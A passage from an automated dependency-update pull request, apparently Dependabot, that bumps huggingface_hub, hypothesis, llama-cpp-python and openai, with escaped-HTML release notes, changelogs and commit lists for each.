href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3587\"\u003e#3587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e✨ HF API\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDaily Papers endpoint\u003c/strong\u003e: You can now programmatically access Hugging Face's daily papers feed. You can filter by week, month, or submitter, and sort by publication date or trending.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003efrom huggingface_hub import list_daily_papers\n\u003cp\u003efor paper in list_daily_papers(date=\u0026quot;2025-12-03\u0026quot;):\nprint(paper.title)\u003c/p\u003e\n\u003ch1\u003eDeepSeek-V3.2: Pushing the Frontier of Open Large Language Models\u003c/h1\u003e\n\u003ch1\u003eToolOrchestra: Elevating Intelligence via Efficient Model and Tool Orchestration\u003c/h1\u003e\n\u003ch1\u003eMultiShotMaster: A Controllable Multi-Shot Video Generation Framework\u003c/h1\u003e\n\u003ch1\u003eDeep Research: A Systematic Survey\u003c/h1\u003e\n\u003ch1\u003eMG-Nav: Dual-Scale Visual Navigation via Sparse Spatial Memory\u003c/h1\u003e\n\u003cp\u003e...\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd daily papers endpoint by \u003ca href=\"https://github.com/BastienGimbert\"\u003e\u003ccode\u003e@​BastienGimbert\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3502\"\u003e#3502\u003c/a\u003e\nAdd more parameters to daily papers by \u003ca href=\"https://github.com/Samoed\"\u003e\u003ccode\u003e@​Samoed\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3585\"\u003e#3585\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eOffline mode helper\u003c/strong\u003e: we recommend using \u003ccode\u003ehuggingface_hub.is_offline_mode()\u003c/code\u003e to check whether offline mode is enabled instead of checking \u003ccode\u003eHF_HUB_OFFLINE\u003c/code\u003e directly.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd \u003ccode\u003eoffline_mode\u003c/code\u003e helper by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/222bb9d97045d08412e3333c6c96f4411fad8d63\"\u003e\u003ccode\u003e222bb9d\u003c/code\u003e\u003c/a\u003e Release: v1.2.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/877cec084d010b67a73aeb8459f97f008451923e\"\u003e\u003ccode\u003e877cec0\u003c/code\u003e\u003c/a\u003e Fix unbound local error when reading corrupted metadata files (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3610\"\u003e#3610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/8519f0d169da578b3bace34eb7377102ecde9e33\"\u003e\u003ccode\u003e8519f0d\u003c/code\u003e\u003c/a\u003e log a message when HF_TOKEN is set in auth list (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3608\"\u003e#3608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d0bc91403e88be8c1cceab7111c2198ade134d2c\"\u003e\u003ccode\u003ed0bc914\u003c/code\u003e\u003c/a\u003e Release: v1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/59dd9f5dbb7d4b091a9184a22b136e2045465ec7\"\u003e\u003ccode\u003e59dd9f5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into v1.2-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/5ad0254ce2ae8491b14f4c0bce132ad1c94a1151\"\u003e\u003ccode\u003e5ad0254\u003c/code\u003e\u003c/a\u003e Rename utility to is_offline_mode (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/231c4cca972ac660c0402b6f4e894ea13d41ae29\"\u003e\u003ccode\u003e231c4cc\u003c/code\u003e\u003c/a\u003e Release: v1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/dc6e7bea51dc13449caa4f451887a2c0162e2f93\"\u003e\u003ccode\u003edc6e7be\u003c/code\u003e\u003c/a\u003e Release: v1.2.0.rc0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d31c68d84b1e0a1e7a102cdb7a6330444759d2d3\"\u003e\u003ccode\u003ed31c68d\u003c/code\u003e\u003c/a\u003e use constants.HF_HUB_ETAG_TIMEOUT as timeout for get_hf_file_meta… (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3595\"\u003e#3595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/a6a23ac8c8950253861573f4adc6ded1d64e55f6\"\u003e\u003ccode\u003ea6a23ac\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eoffline_mode\u003c/code\u003e helper (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.2.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.148.1 to 6.148.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.7\u003c/h2\u003e\n\u003cp\u003eWhen multiple explicit \u0026quot;\u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e\u0026quot; decorators fail with the same error,\nHypothesis now shows only the simplest failing example (by shortlex\norder) with a note about how many other examples also failed (issue\n\u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eTo see all failing examples, use \u0026quot;Verbosity.verbose\u0026quot; or higher.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-7\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.6\u003c/h2\u003e\n\u003cp\u003eFix a bug where we persisted symbolics from solver-based alternative\nbackends in \u0026quot;event()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-6\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.5\u003c/h2\u003e\n\u003cp\u003eThis patch improves the error message for \u0026quot;FlakyStrategyDefinition\u0026quot;\nwhen the precondition for a rule is flaky (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4206\"\u003e#4206\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-5\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.4\u003c/h2\u003e\n\u003cp\u003eThis patch improves the type annotations for \u0026quot;basic_indices()\u0026quot;. The\nreturn type now accurately reflects the \u0026quot;allow_ellipsis\u0026quot; and\n\u0026quot;allow_newaxis\u0026quot; parameters, excluding \u0026quot;EllipsisType\u0026quot; or \u0026quot;None\u0026quot; from\nthe union when those index types are disabled (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4607\"\u003e#4607\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eAdditionally, \u0026quot;assume()\u0026quot; now has overloaded type annotations:\n\u0026quot;assume(True)\u0026quot; returns \u0026quot;Literal[True]\u0026quot;, while \u0026quot;assume(False)\u0026quot; and\n\u0026quot;assume(None)\u0026quot; return \u0026quot;NoReturn\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-4\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.3\u003c/h2\u003e\n\u003cp\u003eClean up some internal code.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-3\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/f1f106b9b1766d39d6d1d543c0523339ed70ad88\"\u003e\u003ccode\u003ef1f106b\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.7 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/72412fefc8f6c8cc329bf75ed7d2f368e4012622\"\u003e\u003ccode\u003e72412fe\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4612\"\u003e#4612\u003c/a\u003e from Zac-HD/claude/fix-hypothesis-4520-01UQ4jW8HBCjR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/39220d25905fac8683e5f3211b82d9eb2ebe5d89\"\u003e\u003ccode\u003e39220d2\u003c/code\u003e\u003c/a\u003e reword message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1f84ca2b6953fddeca329d6fc196775d6b9e016a\"\u003e\u003ccode\u003e1f84ca2\u003c/code\u003e\u003c/a\u003e simplify\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/57a6607622497e38301b2093bfbc2aad613e3619\"\u003e\u003ccode\u003e57a6607\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.6 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/a7fbda4fb4d77cd180d531287bec80c422bd7412\"\u003e\u003ccode\u003ea7fbda4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4507\"\u003e#4507\u003c/a\u003e from Liam-DeVoe/crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5715090daecbc3e00c74c1d2b922d13e35c0bf90\"\u003e\u003ccode\u003e5715090\u003c/code\u003e\u003c/a\u003e bump crosshair\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/2231eeaa15a12f9eb1b18c5310f63db5cdcd85c7\"\u003e\u003ccode\u003e2231eea\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/831ed067de120910fc6041e133c578778029ab2f\"\u003e\u003ccode\u003e831ed06\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3605694a68576c4b4adb520a3581d97f30cfce92\"\u003e\u003ccode\u003e3605694\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.5 and update changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.148.1...hypothesis-python-6.148.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.2.90 to 0.3.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `openai` from 2.8.1 to 2.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/releases\"\u003eopenai's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.11.0\u003c/h2\u003e\n\u003ch2\u003e2.11.0 (2025-12-11)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.10.0...v2.11.0\"\u003ev2.10.0...v2.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt 5.2 (\u003ca href=\"https://github.com/openai/openai-python/commit/dd9b8e85cf91fe0d7470143fba10fe950ec740c4\"\u003edd9b8e8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.10.0\u003c/h2\u003e\n\u003ch2\u003e2.10.0 (2025-12-10)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.9.0...v2.10.0\"\u003ev2.9.0...v2.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e make model required for the responses/compact endpoint (\u003ca href=\"https://github.com/openai/openai-python/commit/a12936b18cf19009d4e6d586c9b1958359636dbe\"\u003ea12936b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e allow pyright to infer TypedDict types within SequenceNotStr (\u003ca href=\"https://github.com/openai/openai-python/commit/8f0d23066c1edc38a6e9858b054dceaf92ae001b\"\u003e8f0d230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd missing docstrings (\u003ca href=\"https://github.com/openai/openai-python/commit/f20a9a18a421ba69622c77ab539509d218e774eb\"\u003ef20a9a1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e update docstring (\u003ca href=\"https://github.com/openai/openai-python/commit/9a993f2261b6524aa30b955e006c7ea89f086968\"\u003e9a993f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.9.0\u003c/h2\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/blob/main/CHANGELOG.md\"\u003eopenai's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.11.0 (2025-12-11)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.10.0...v2.11.0\"\u003ev2.10.0...v2.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt 5.2 (\u003ca href=\"https://github.com/openai/openai-python/commit/dd9b8e85cf91fe0d7470143fba10fe950ec740c4\"\u003edd9b8e8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.10.0 (2025-12-10)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.9.0...v2.10.0\"\u003ev2.9.0...v2.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e make model required for the responses/compact endpoint (\u003ca href=\"https://github.com/openai/openai-python/commit/a12936b18cf19009d4e6d586c9b1958359636dbe\"\u003ea12936b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug 